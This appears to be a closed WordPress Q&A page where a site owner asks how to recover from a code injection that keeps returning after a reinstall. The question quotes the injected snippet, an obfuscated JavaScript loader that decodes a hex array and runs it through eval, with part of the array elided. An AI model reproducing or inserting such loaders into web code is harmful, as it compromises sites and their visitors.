Tell me more ×
WordPress Answers is a question and answer site for WordPress developers and administrators. It's 100% free, no registration required.

My WP site was plagued with code injection such as this:

68c8c7

echo "
asgq=[0x28,0x66,0x75,0x6e,0x63,0x7d, ....... 0xd,0xa,0x7d,0x29,0x28,0x29,0x3b];try{document.body|=1}catch(gdsgsdg){zz=3;dbshre=16;if(dbshre){vfvwe=0;try{}catch(agdsg){vfvwe=1;}if(!vfvwe){e=window[\"eval\"];}s=\"\";for(i=0;i-498!=0;i++){if(window.document)s+=String.fromCharCode(asgq[i]);}z=s;e(s);}}";

/68c8c7

Realizing it would take hours to clean everything, I erased the site and reinstalled WordPress. Almost instantly, the site was AGAIN plagued with the same s**t. Wordfence found 200 files containing the malicious code.

I don't know what to do, and I really wonder how so much code was injected so quickly. What would you do?

share|improve this question
2  
Please note that questions about recovering from hacks are explicitly off-topic as per our FAQ. – Chip Bennett Mar 8 at 17:38
I'm sorry, I wasn't aware of that. @Chip could you tell me where I should ask/look for help? – drake035 Mar 8 at 18:45
Contact your host... FAQ: My Site Was Hacked – s_ha_dum Mar 8 at 19:58

closed as off topic by brasofilo, Wyck, Chip Bennett, toscho Mar 8 at 17:50

Questions on WordPress Answers are expected to relate to WordPress within the scope defined in the FAQ. Consider editing the question or leaving comments for improvement if you believe the question can be reworded to fit within the scope. Read more about closed questions here.

1 Answer

That code is typical of an FTP hack. Did you change any of your passwords? If not, that's the first thing I would tell you to do.

share|improve this answer
2  
Please note that questions about recovering from hacks are explicitly off-topic as per our FAQ. – Chip Bennett Mar 8 at 17:39

Not the answer you're looking for? Browse other questions tagged or ask your own question.